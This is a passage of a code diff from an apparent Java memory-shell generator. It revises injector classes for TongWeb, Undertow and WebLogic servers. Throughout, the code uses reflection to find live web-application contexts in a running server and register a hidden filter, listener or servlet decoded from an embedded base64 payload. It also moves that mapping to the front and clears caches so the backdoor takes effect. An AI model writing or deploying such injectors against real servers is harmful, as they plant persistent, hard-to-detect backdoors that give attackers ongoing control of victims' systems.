                     contexts.addAll(children.values());
                 }
-            } else if (thread.getContextClassLoader() != null
-                    && thread.getContextClassLoader().getClass().getSimpleName().equals("TongWebWebappClassLoader")) {
-                contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));
+            } else if (thread.getContextClassLoader() != null) {
+                String name = thread.getContextClassLoader().getClass().getSimpleName();
+                if (name.matches(".+WebappClassLoader")) {
+                    Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
+                    // need WebResourceRoot not DirContext
+                    if (resources != null && resources.getClass().getName().endsWith("Root")) {
+                        Object context = getFieldValue(resources, "context");
+                        contexts.add(context);
+                    }
+                }
             }
         }
         return contexts;
     }
 
-    private ClassLoader getWebAppClassLoader(Object context) {
+    private ClassLoader getWebAppClassLoader(Object context) throws Exception {
         try {
             return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
         } catch (Exception e) {
@@ -204,30 +218,25 @@ public class TongWebListenerInjector {
     }
 
     @SuppressWarnings("all")
-    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
-        try {
-            Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
-            Method method = null;
-            while (clazz != null && method == null) {
-                try {
-                    if (paramClazz == null) {
-                        method = clazz.getDeclaredMethod(methodName);
-                    } else {
-                        method = clazz.getDeclaredMethod(methodName, paramClazz);
-                    }
-                } catch (NoSuchMethodException e) {
-                    clazz = clazz.getSuperclass();
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
+        Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+        Method method = null;
+        while (clazz != null && method == null) {
+            try {
+                if (paramClazz == null) {
+                    method = clazz.getDeclaredMethod(methodName);
+                } else {
+                    method = clazz.getDeclaredMethod(methodName, paramClazz);
                 }
+            } catch (NoSuchMethodException e) {
+                clazz = clazz.getSuperclass();
             }
-            if (method == null) {
-                throw new NoSuchMethodException("Method not found: " + methodName);
-            }
-
-            method.setAccessible(true);
-            return method.invoke(obj instanceof Class ? null : obj, param);
-        } catch (Exception e) {
-            throw new RuntimeException("Error invoking method: " + methodName, e);
         }
+        if (method == null) {
+            throw new NoSuchMethodException("Method not found: " + methodName);
+        }
+        method.setAccessible(true);
+        return method.invoke(obj instanceof Class ? null : obj, param);
     }
 
     @SuppressWarnings("all")

generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebValveInjector.java

@@ -14,7 +14,8 @@ import java.util.zip.GZIPInputStream;
  */
 public class TongWebValveInjector {
 
-    private String msg = "";
+    private static String msg = "";
+    private static boolean ok = false;
 
     public String getClassName() {
         return "{{className}}";
@@ -25,16 +26,21 @@ public class TongWebValveInjector {
     }
 
     public TongWebValveInjector() {
+        if (ok) {
+            return;
+        }
         Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts != null) {
+        if (contexts == null || contexts.isEmpty()) {
+            msg += "context not found";
+        } else {
             for (Object context : contexts) {
-                msg += ("context: [" + getContextRoot(context) + "] ");
                 try {
+                    msg += ("context: [" + getContextRoot(context) + "] ");
                     Object shell = getShell(context);
                     inject(context, shell);
                     msg += "[/*] ready\n";
@@ -43,6 +49,7 @@ public class TongWebValveInjector {
                 }
             }
         }
+        ok = true;
         System.out.println(msg);
     }
 
@@ -64,7 +71,7 @@ public class TongWebValveInjector {
     }
 
     public Set<Object> getContext() throws Exception {
-        Set<Object> contexts = new HashSet<>();
+        Set<Object> contexts = new HashSet<Object>();
         Set<Thread> threads = Thread.getAllStackTraces().keySet();
         for (Thread thread : threads) {
             if (thread.getName().contains("ContainerBackgroundProcessor")) {
@@ -74,9 +81,16 @@ public class TongWebValveInjector {
                     Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
                     contexts.addAll(children.values());
                 }
-            } else if (thread.getContextClassLoader() != null
-                    && thread.getContextClassLoader().getClass().getSimpleName().equals("TongWebWebappClassLoader")) {
-                contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));
+            } else if (thread.getContextClassLoader() != null) {
+                String name = thread.getContextClassLoader().getClass().getSimpleName();
+                if (name.matches(".+WebappClassLoader")) {
+                    Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
+                    // need WebResourceRoot not DirContext
+                    if (resources != null && resources.getClass().getName().endsWith("Root")) {
+                        Object context = getFieldValue(resources, "context");
+                        contexts.add(context);
+                    }
+                }
             }
         }
         return contexts;

generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowFilterInjector.java

@@ -7,7 +7,10 @@ import java.io.IOException;
 import java.io.PrintStream;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
-import java.util.*;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.Map;
+import java.util.Set;
 import java.util.zip.GZIPInputStream;
 
 
@@ -15,7 +18,8 @@ import java.util.zip.GZIPInputStream;
  * @author ReaJason
  */
 public class UndertowFilterInjector {
-    private String msg = "";
+    private static String msg = "";
+    private static boolean ok = false;
 
     public String getUrlPattern() {
         return "{{urlPattern}}";
@@ -30,16 +34,21 @@ public class UndertowFilterInjector {
     }
 
     public UndertowFilterInjector() {
-        List<Object> contexts = null;
+        if (ok) {
+            return;
+        }
+        Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts != null) {
+        if (contexts == null || contexts.isEmpty()) {
+            msg += "context not found";
+        } else {
             for (Object context : contexts) {
-                msg += ("context: [" + getContextRoot(context) + "] ");
                 try {
+                    msg += ("context: [" + getContextRoot(context) + "] ");
                     Object shell = getShell(context);
                     inject(context, shell);
                     msg += "[" + getUrlPattern() + "] ready\n";
@@ -48,6 +57,7 @@ public class UndertowFilterInjector {
                 }
             }
         }
+        ok = true;
         System.out.println(msg);
     }
 
@@ -68,8 +78,9 @@ public class UndertowFilterInjector {
         return c + "(" + r + ")";
     }
 
-    public List<Object> getContext() {
-        List<Object> contexts = new ArrayList<Object>();
+    @SuppressWarnings("Duplicates")
+    public Set<Object> getContext() throws Exception {
+        Set<Object> contexts = new HashSet<Object>();
         Set<Thread> threads = Thread.getAllStackTraces().keySet();
         for (Thread thread : threads) {
             try {
@@ -122,6 +133,8 @@ public class UndertowFilterInjector {
         Object managedFilters = invokeMethod(deploymentImpl, "getFilters", null, null);
         invokeMethod(managedFilters, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo});
         invokeMethod(deploymentInfo, "insertFilterUrlMapping", new Class[]{int.class, String.class, String.class, DispatcherType.class}, new Object[]{0, getClassName(), getUrlPattern(), DispatcherType.REQUEST});
+        // invalidate cache
+        invokeMethod(invokeMethod(deploymentImpl, "getServletPaths", null, null), "invalidate", null, null);
     }
 
     @SuppressWarnings("unchecked")
@@ -206,30 +219,25 @@ public class UndertowFilterInjector {
 
 
     @SuppressWarnings("all")
-    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
-        try {
-            Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
-            Method method = null;
-            while (clazz != null && method == null) {
-                try {
-                    if (paramClazz == null) {
-                        method = clazz.getDeclaredMethod(methodName);
-                    } else {
-                        method = clazz.getDeclaredMethod(methodName, paramClazz);
-                    }
-                } catch (NoSuchMethodException e) {
-                    clazz = clazz.getSuperclass();
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
+        Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+        Method method = null;
+        while (clazz != null && method == null) {
+            try {
+                if (paramClazz == null) {
+                    method = clazz.getDeclaredMethod(methodName);
+                } else {
+                    method = clazz.getDeclaredMethod(methodName, paramClazz);
                 }
+            } catch (NoSuchMethodException e) {
+                clazz = clazz.getSuperclass();
             }
-            if (method == null) {
-                throw new NoSuchMethodException("Method not found: " + methodName);
-            }
-
-            method.setAccessible(true);
-            return method.invoke(obj instanceof Class ? null : obj, param);
-        } catch (Exception e) {
-            throw new RuntimeException("Error invoking method: " + methodName, e);
         }
+        if (method == null) {
+            throw new NoSuchMethodException("Method not found: " + methodName);
+        }
+        method.setAccessible(true);
+        return method.invoke(obj instanceof Class ? null : obj, param);
     }
 
     @SuppressWarnings("all")

generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowListenerInjector.java

@@ -8,6 +8,7 @@ import java.lang.reflect.Field;
 import java.lang.reflect.InvocationTargetException;
 import java.lang.reflect.Method;
 import java.util.ArrayList;
+import java.util.HashSet;
 import java.util.List;
 import java.util.Set;
 import java.util.zip.GZIPInputStream;
@@ -18,19 +19,33 @@ import java.util.zip.GZIPInputStream;
  */
 public class UndertowListenerInjector {
 
-    private String msg = "";
+    private static String msg = "";
+    private static boolean ok = false;
+
+    public String getClassName() {
+        return "{{className}}";
+    }
+
+    public String getBase64String() throws IOException {
+        return "{{base64Str}}";
+    }
 
     public UndertowListenerInjector() {
-        List<Object> contexts = null;
+        if (ok) {
+            return;
+        }
+        Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts != null) {
+        if (contexts == null || contexts.isEmpty()) {
+            msg += "context not found";
+        } else {
             for (Object context : contexts) {
-                msg += ("context: [" + getContextRoot(context) + "] ");
                 try {
+                    msg += ("context: [" + getContextRoot(context) + "] ");
                     Object shell = getShell(context);
                     inject(context, shell);
                     msg += "[/*] ready\n";
@@ -39,6 +54,7 @@ public class UndertowListenerInjector {
                 }
             }
         }
+        ok = true;
         System.out.println(msg);
     }
 
@@ -59,16 +75,8 @@ public class UndertowListenerInjector {
         return c + "(" + r + ")";
     }
 
-    public String getClassName() {
-        return "{{className}}";
-    }
-
-    public String getBase64String() throws IOException {
-        return "{{base64Str}}";
-    }
-
-    public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
-        List<Object> contexts = new ArrayList<Object>();
+    public Set<Object> getContext() throws Exception {
+        Set<Object> contexts = new HashSet<Object>();
         Set<Thread> threads = Thread.getAllStackTraces().keySet();
         for (Thread thread : threads) {
             try {
@@ -183,30 +191,25 @@ public class UndertowListenerInjector {
     }
 
     @SuppressWarnings("all")
-    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
-        try {
-            Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
-            Method method = null;
-            while (clazz != null && method == null) {
-                try {
-                    if (paramClazz == null) {
-                        method = clazz.getDeclaredMethod(methodName);
-                    } else {
-                        method = clazz.getDeclaredMethod(methodName, paramClazz);
-                    }
-                } catch (NoSuchMethodException e) {
-                    clazz = clazz.getSuperclass();
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
+        Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+        Method method = null;
+        while (clazz != null && method == null) {
+            try {
+                if (paramClazz == null) {
+                    method = clazz.getDeclaredMethod(methodName);
+                } else {
+                    method = clazz.getDeclaredMethod(methodName, paramClazz);
                 }
+            } catch (NoSuchMethodException e) {
+                clazz = clazz.getSuperclass();
             }
-            if (method == null) {
-                throw new NoSuchMethodException("Method not found: " + methodName);
-            }
-
-            method.setAccessible(true);
-            return method.invoke(obj instanceof Class ? null : obj, param);
-        } catch (Exception e) {
-            throw new RuntimeException("Error invoking method: " + methodName, e);
         }
+        if (method == null) {
+            throw new NoSuchMethodException("Method not found: " + methodName);
+        }
+        method.setAccessible(true);
+        return method.invoke(obj instanceof Class ? null : obj, param);
     }
 
     @SuppressWarnings("all")

generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletInjector.java

@@ -8,6 +8,7 @@ import java.lang.reflect.Field;
 import java.lang.reflect.InvocationTargetException;
 import java.lang.reflect.Method;
 import java.util.ArrayList;
+import java.util.HashSet;
 import java.util.List;
 import java.util.Set;
 import java.util.zip.GZIPInputStream;
@@ -18,7 +19,8 @@ import java.util.zip.GZIPInputStream;
  */
 public class UndertowServletInjector {
 
-    private String msg = "";
+    private static String msg = "";
+    private static boolean ok = false;
 
     public String getUrlPattern() {
         return "{{urlPattern}}";
@@ -33,16 +35,21 @@ public class UndertowServletInjector {
     }
 
     public UndertowServletInjector() {
-        List<Object> contexts = null;
+        if (ok) {
+            return;
+        }
+        Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts != null) {
+        if (contexts == null || contexts.isEmpty()) {
+            msg += "context not found";
+        } else {
             for (Object context : contexts) {
-                msg += ("context: [" + getContextRoot(context) + "] ");
                 try {
+                    msg += ("context: [" + getContextRoot(context) + "] ");
                     Object shell = getShell(context);
                     inject(context, shell);
                     msg += "[" + getUrlPattern() + "] ready\n";
@@ -51,6 +58,7 @@ public class UndertowServletInjector {
                 }
             }
         }
+        ok = true;
         System.out.println(msg);
     }
 
@@ -71,8 +79,8 @@ public class UndertowServletInjector {
         return c + "(" + r + ")";
     }
 
-    public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
-        List<Object> contexts = new ArrayList<Object>();
+    public Set<Object> getContext() throws Exception {
+        Set<Object> contexts = new HashSet<Object>();
         Set<Thread> threads = Thread.getAllStackTraces().keySet();
         for (Thread thread : threads) {
             try {
@@ -205,30 +213,25 @@ public class UndertowServletInjector {
 
 
     @SuppressWarnings("all")
-    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
-        try {
-            Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
-            Method method = null;
-            while (clazz != null && method == null) {
-                try {
-                    if (paramClazz == null) {
-                        method = clazz.getDeclaredMethod(methodName);
-                    } else {
-                        method = clazz.getDeclaredMethod(methodName, paramClazz);
-                    }
-                } catch (NoSuchMethodException e) {
-                    clazz = clazz.getSuperclass();
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
+        Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+        Method method = null;
+        while (clazz != null && method == null) {
+            try {
+                if (paramClazz == null) {
+                    method = clazz.getDeclaredMethod(methodName);
+                } else {
+                    method = clazz.getDeclaredMethod(methodName, paramClazz);
                 }
+            } catch (NoSuchMethodException e) {
+                clazz = clazz.getSuperclass();
             }
-            if (method == null) {
-                throw new NoSuchMethodException("Method not found: " + methodName);
-            }
-
-            method.setAccessible(true);
-            return method.invoke(obj instanceof Class ? null : obj, param);
-        } catch (Exception e) {
-            throw new RuntimeException("Error invoking method: " + methodName, e);
         }
+        if (method == null) {
+            throw new NoSuchMethodException("Method not found: " + methodName);
+        }
+        method.setAccessible(true);
+        return method.invoke(obj instanceof Class ? null : obj, param);
     }
 
     @SuppressWarnings("all")

generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicFilterInjector.java

@@ -1,13 +1,17 @@
 package com.reajason.javaweb.memshell.injector.weblogic;
 
+import javax.management.MBeanServer;
 import java.io.ByteArrayInputStream;
 import java.io.ByteArrayOutputStream;
 import java.io.IOException;
 import java.io.PrintStream;
-import java.lang.reflect.Array;
+import java.lang.management.ManagementFactory;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
-import java.util.*;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
 import java.util.zip.GZIPInputStream;
 
 /**
@@ -15,7 +19,8 @@ import java.util.zip.GZIPInputStream;
  */
 public class WebLogicFilterInjector {
 
-    private String msg = "";
+    private static String msg = "";
+    private static boolean ok = false;
 
     public String getUrlPattern() {
         return "{{urlPattern}}";
@@ -30,16 +35,21 @@ public class WebLogicFilterInjector {
     }
 
     public WebLogicFilterInjector() {
+        if (ok) {
+            return;
+        }
         Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts != null) {
+        if (contexts == null || contexts.isEmpty()) {
+            msg += "context not found";
+        } else {
             for (Object context : contexts) {
-                msg += ("context: [" + getContextRoot(context) + "] ");
                 try {
+                    msg += ("context: [" + getContextRoot(context) + "] ");
                     Object shell = getShell(context);
                     inject(context, shell);
                     msg += "[" + getUrlPattern() + "] ready\n";
@@ -48,6 +58,7 @@ public class WebLogicFilterInjector {
                 }
             }
         }
+        ok = true;
         System.out.println(msg);
     }
 
@@ -68,93 +79,38 @@ public class WebLogicFilterInjector {
         return c + "(" + r + ")";
     }
 
-    public static Object[] getContextsByMbean() throws Throwable {
-        Set<Object> webappContexts = new HashSet<Object>();
-        Class<?> serverRuntimeClass = Class.forName("weblogic.t3.srvr.ServerRuntime");
-        Class<?> webAppServletContextClass = Class.forName("weblogic.servlet.internal.WebAppServletContext");
-        Method theOneMethod = serverRuntimeClass.getMethod("theOne");
-        theOneMethod.setAccessible(true);
-        Object serverRuntime = theOneMethod.invoke(null);
-        Method getApplicationRuntimesMethod = serverRuntime.getClass().getMethod("getApplicationRuntimes");
-        getApplicationRuntimesMethod.setAccessible(true);
-        Object applicationRuntimes = getApplicationRuntimesMethod.invoke(serverRuntime);
-        int applicationRuntimeSize = Array.getLength(applicationRuntimes);
-        for (int i = 0; i < applicationRuntimeSize; i++) {
-            Object applicationRuntime = Array.get(applicationRuntimes, i);
-            try {
-                Method getComponentRuntimesMethod = applicationRuntime.getClass().getMethod("getComponentRuntimes");
-                Object componentRuntimes = getComponentRuntimesMethod.invoke(applicationRuntime);
-                int componentRuntimeSize = Array.getLength(componentRuntimes);
-                for (int j = 0; j < componentRuntimeSize; j++) {
-                    Object context = getFieldValue(Array.get(componentRuntimes, j), "context");
-                    if (webAppServletContextClass.isInstance(context)) {
-                        webappContexts.add(context);
-                    }
-                }
-            } catch (Throwable ignored) {
-            }
-
-            try {
-                Set<Object> childrenSet = (Set<Object>) getFieldValue(applicationRuntime, "children");
-                for (Object componentRuntime : childrenSet) {
-                    try {
-                        Object context = getFieldValue(componentRuntime, "context");
-                        if (webAppServletContextClass.isInstance(context)) {
-                            webappContexts.add(context);
-                        }
-                    } catch (Throwable ignored) {
-                    }
-                }
-            } catch (Throwable ignored) {
-            }
-        }
-        return webappContexts.toArray();
-    }
-
-    public static Object[] getContextsByThreads() throws Throwable {
-        Set<Object> webappContexts = new HashSet<Object>();
-        Set<Thread> threads = Thread.getAllStackTraces().keySet();
-        for (Thread thread : threads) {
-            if (thread != null) {
-                Object workEntry = getFieldValue(thread, "workEntry");
-                if (workEntry != null) {
-                    try {
-                        Object context = null;
-                        Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
-                        if (connectionHandler != null) {
-                            Object request = getFieldValue(connectionHandler, "request");
-                            if (request != null) {
-                                context = getFieldValue(request, "context");
-                            }
-                        }
-                        if (context == null) {
-                            context = getFieldValue(workEntry, "context");
-                        }
-
-                        if (context != null) {
-                            webappContexts.add(context);
-                        }
-                    } catch (Throwable ignored) {
-                    }
-                }
-            }
-        }
-        return webappContexts.toArray();
-    }
-
     /**
      * weblogic.servlet.internal.WebAppServletContext
      * /opt/oracle/wls1036/server/lib/weblogic.jar
      * /u01/oracle/wlserver/modules/com.oracle.weblogic.servlet.jar
      */
-    public static Set<Object> getContext() {
+    public static Set<Object> getContext() throws Exception {
         Set<Object> webappContexts = new HashSet<Object>();
-        try {
-            webappContexts.addAll(Arrays.asList(getContextsByMbean()));
-        } catch (Throwable ignored) {
+        MBeanServer platformMBeanServer = ManagementFactory.getPlatformMBeanServer();
+        Map<String, Object> objectsByObjectName = (Map<String, Object>) getFieldValue(platformMBeanServer, "objectsByObjectName");
+        for (Map.Entry<String, Object> entry : objectsByObjectName.entrySet()) {
+            String key = entry.getKey();
+            if (key.contains("Type=WebAppComponentRuntime")) {
+                Object value = entry.getValue();
+                Object managedResource = getFieldValue(value, "managedResource");
+                if (managedResource != null && managedResource.getClass().getSimpleName().equals("WebAppRuntimeMBeanImpl")) {
+                    webappContexts.add(getFieldValue(managedResource, "context"));
+                }
+            }
         }
         try {
-            webappContexts.addAll(Arrays.asList(getContextsByThreads()));
+            Object workEntry = getFieldValue(Thread.currentThread(), "workEntry");
+            Object request = null;
+            try {
+                Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
+                request = getFieldValue(connectionHandler, "request");
+            } catch (Exception x) {
+                // WebLogic 10.3.6
+                request = workEntry;
+            }
+            if (request != null) {
+                webappContexts.add(getFieldValue(request, "context"));
+            }
         } catch (Throwable ignored) {
         }
         return webappContexts;
@@ -186,20 +142,14 @@ public class WebLogicFilterInjector {
 
     @SuppressWarnings("unchecked")
     public void inject(Object context, Object filter) throws Exception {
-        Map filters = (Map) getFieldValue(getFieldValue(context, "filterManager"), "filters");
-        for (Object obj : filters.keySet()) {
-            if (obj.toString().contains(getClassName())) {
-                return;
-            }
-        }
         Object filterManager = invokeMethod(context, "getFilterManager", null, null);
-        Object servletClassLoader = invokeMethod(context, "getServletClassLoader", null, null);
-        Map<String, Class<?>> cachedClasses = (Map<String, Class<?>>) getFieldValue(servletClassLoader, "cachedClasses");
-        cachedClasses.put(getClassName(), filter.getClass());
+        if (((Map) getFieldValue(filterManager, "filters")).containsKey(getClassName())) {
+                return;
+        }
         invokeMethod(filterManager, "registerFilter", new Class[]{String.class, String.class, String[].class, String[].class, Map.class, String[].class}, new Object[]{getClassName(), getClassName(), new String[]{getUrlPattern()}, null, null, new String[]{"REQUEST", "FORWARD", "INCLUDE", "ERROR"}});
         List<Object> filterPatternList = (List<Object>) getFieldValue(filterManager, "filterPatternList");
-        Object currentMapping = filterPatternList.remove(filterPatternList.size() - 1);
-        filterPatternList.add(0, currentMapping);
+        Object curFilterInfo = filterPatternList.remove(filterPatternList.size() - 1);
+        filterPatternList.add(0, curFilterInfo);
     }
 
     @Override
@@ -241,30 +191,25 @@ public class WebLogicFilterInjector {
     }
 
     @SuppressWarnings("all")
-    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
-        try {
-            Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
-            Method method = null;
-            while (clazz != null && method == null) {
-                try {
-                    if (paramClazz == null) {
-                        method = clazz.getDeclaredMethod(methodName);
-                    } else {
-                        method = clazz.getDeclaredMethod(methodName, paramClazz);
-                    }
-                } catch (NoSuchMethodException e) {
-                    clazz = clazz.getSuperclass();
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
+        Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+        Method method = null;
+        while (clazz != null && method == null) {
+            try {
+                if (paramClazz == null) {
+                    method = clazz.getDeclaredMethod(methodName);
+                } else {
+                    method = clazz.getDeclaredMethod(methodName, paramClazz);
                 }
+            } catch (NoSuchMethodException e) {
+                clazz = clazz.getSuperclass();
             }
-            if (method == null) {
-                throw new NoSuchMethodException("Method not found: " + methodName);
-            }
-
-            method.setAccessible(true);
-            return method.invoke(obj instanceof Class ? null : obj, param);
-        } catch (Exception e) {
-            throw new RuntimeException("Error invoking method: " + methodName, e);
         }
+        if (method == null) {
+            throw new NoSuchMethodException("Method not found: " + methodName);
+        }
+        method.setAccessible(true);
+        return method.invoke(obj instanceof Class ? null : obj, param);
     }
 
     @SuppressWarnings("all")

generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicListenerInjector.java

@@ -1,16 +1,15 @@
 package com.reajason.javaweb.memshell.injector.weblogic;
 
+import javax.management.MBeanServer;
 import java.io.ByteArrayInputStream;
 import java.io.ByteArrayOutputStream;
 import java.io.IOException;
 import java.io.PrintStream;
+import java.lang.management.ManagementFactory;
 import java.lang.reflect.Array;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
-import java.util.Arrays;
-import java.util.HashSet;
-import java.util.List;
-import java.util.Set;
+import java.util.*;
 import java.util.zip.GZIPInputStream;
 
 
@@ -19,7 +18,8 @@ import java.util.zip.GZIPInputStream;
  */
 public class WebLogicListenerInjector {
 
-    private String msg = "";
+    private static String msg = "";
+    private static boolean ok = false;
 
     public String getClassName() {
         return "{{className}}";
@@ -30,16 +30,21 @@ public class WebLogicListenerInjector {
     }
 
     public WebLogicListenerInjector() {
+        if (ok) {
+            return;
+        }
         Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts != null) {
+        if (contexts == null || contexts.isEmpty()) {
+            msg += "context not found";
+        } else {
             for (Object context : contexts) {
-                msg += ("context: [" + getContextRoot(context) + "] ");
                 try {
+                    msg += ("context: [" + getContextRoot(context) + "] ");
                     Object shell = getShell(context);
                     inject(context, shell);
                     msg += "[/*] ready\n";
@@ -48,6 +53,7 @@ public class WebLogicListenerInjector {
                 }
             }
         }
+        ok = true;
         System.out.println(msg);
     }
 
@@ -68,88 +74,39 @@ public class WebLogicListenerInjector {
         return c + "(" + r + ")";
     }
 
-    static Object[] getContextsByMbean() throws Throwable {
+
+    /**
+     * weblogic.servlet.internal.WebAppServletContext
+     * /opt/oracle/wls1036/server/lib/weblogic.jar
+     * /u01/oracle/wlserver/modules/com.oracle.weblogic.servlet.jar
+     */
+    public static Set<Object> getContext() throws Exception {
         Set<Object> webappContexts = new HashSet<Object>();
-        Class<?> serverRuntimeClass = Class.forName("weblogic.t3.srvr.ServerRuntime");
-        Class<?> webAppServletContextClass = Class.forName("weblogic.servlet.internal.WebAppServletContext");
-        Method theOneMethod = serverRuntimeClass.getMethod("theOne");
-        theOneMethod.setAccessible(true);
-        Object serverRuntime = theOneMethod.invoke(null);
-        Method getApplicationRuntimesMethod = serverRuntime.getClass().getMethod("getApplicationRuntimes");
-        getApplicationRuntimesMethod.setAccessible(true);
-        Object applicationRuntimes = getApplicationRuntimesMethod.invoke(serverRuntime);
-        int applicationRuntimeSize = Array.getLength(applicationRuntimes);
-        for (int i = 0; i < applicationRuntimeSize; i++) {
-            Object applicationRuntime = Array.get(applicationRuntimes, i);
-            try {
-                Method getComponentRuntimesMethod = applicationRuntime.getClass().getMethod("getComponentRuntimes");
-                Object componentRuntimes = getComponentRuntimesMethod.invoke(applicationRuntime);
-                int componentRuntimeSize = Array.getLength(componentRuntimes);
-                for (int j = 0; j < componentRuntimeSize; j++) {
-                    Object context = getFieldValue(Array.get(componentRuntimes, j), "context");
-                    if (webAppServletContextClass.isInstance(context)) {
-                        webappContexts.add(context);
-                    }
-                }
-            } catch (Throwable ignored) {
-            }
-
-            try {
-                Set<Object> childrenSet = (Set<Object>) getFieldValue(applicationRuntime, "children");
-                for (Object componentRuntime : childrenSet) {
-                    try {
-                        Object context = getFieldValue(componentRuntime, "context");
-                        if (webAppServletContextClass.isInstance(context)) {
-                            webappContexts.add(context);
-                        }
-                    } catch (Throwable ignored) {
-                    }
-                }
-            } catch (Throwable ignored) {
-            }
-        }
-        return webappContexts.toArray();
-    }
-
-    public static Object[] getContextsByThreads() throws Throwable {
-        Set<Object> webappContexts = new HashSet<Object>();
-        Set<Thread> threads = Thread.getAllStackTraces().keySet();
-        for (Thread thread : threads) {
-            if (thread != null) {
-                Object workEntry = getFieldValue(thread, "workEntry");
-                if (workEntry != null) {
-                    try {
-                        Object context = null;
-                        Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
-                        if (connectionHandler != null) {
-                            Object request = getFieldValue(connectionHandler, "request");
-                            if (request != null) {
-                                context = getFieldValue(request, "context");
-                            }
-                        }
-                        if (context == null) {
-                            context = getFieldValue(workEntry, "context");
-                        }
-
-                        if (context != null) {
-                            webappContexts.add(context);
-                        }
-                    } catch (Throwable ignored) {
-                    }
+        MBeanServer platformMBeanServer = ManagementFactory.getPlatformMBeanServer();
+        Map<String, Object> objectsByObjectName = (Map<String, Object>) getFieldValue(platformMBeanServer, "objectsByObjectName");
+        for (Map.Entry<String, Object> entry : objectsByObjectName.entrySet()) {
+            String key = entry.getKey();
+            if (key.contains("Type=WebAppComponentRuntime")) {
+                Object value = entry.getValue();
+                Object managedResource = getFieldValue(value, "managedResource");
+                if (managedResource != null && managedResource.getClass().getSimpleName().equals("WebAppRuntimeMBeanImpl")) {
+                    webappContexts.add(getFieldValue(managedResource, "context"));
                 }
             }
         }
-        return webappContexts.toArray();
-    }
-
-    public static Set<Object> getContext() {
-        Set<Object> webappContexts = new HashSet<Object>();
-        try {
-            webappContexts.addAll(Arrays.asList(getContextsByMbean()));
-        } catch (Throwable ignored) {
-        }
         try {
-            webappContexts.addAll(Arrays.asList(getContextsByThreads()));
+            Object workEntry = getFieldValue(Thread.currentThread(), "workEntry");
+            Object request = null;
+            try {
+                Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
+                request = getFieldValue(connectionHandler, "request");
+            } catch (Exception x) {
+                // WebLogic 10.3.6
+                request = workEntry;
+            }
+            if (request != null) {
+                webappContexts.add(getFieldValue(request, "context"));
+            }
         } catch (Throwable ignored) {
         }
         return webappContexts;

generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicServletInjector.java

@@ -1,10 +1,12 @@
 package com.reajason.javaweb.memshell.injector.weblogic;
 
+import javax.management.MBeanServer;
 import javax.servlet.Servlet;
 import java.io.ByteArrayInputStream;
 import java.io.ByteArrayOutputStream;
 import java.io.IOException;
 import java.io.PrintStream;
+import java.lang.management.ManagementFactory;
 import java.lang.reflect.Array;
 import java.lang.reflect.Constructor;
 import java.lang.reflect.Field;
@@ -20,7 +22,8 @@ import java.util.zip.GZIPInputStream;
  */
 public class WebLogicServletInjector {
 
-    private String msg = "";
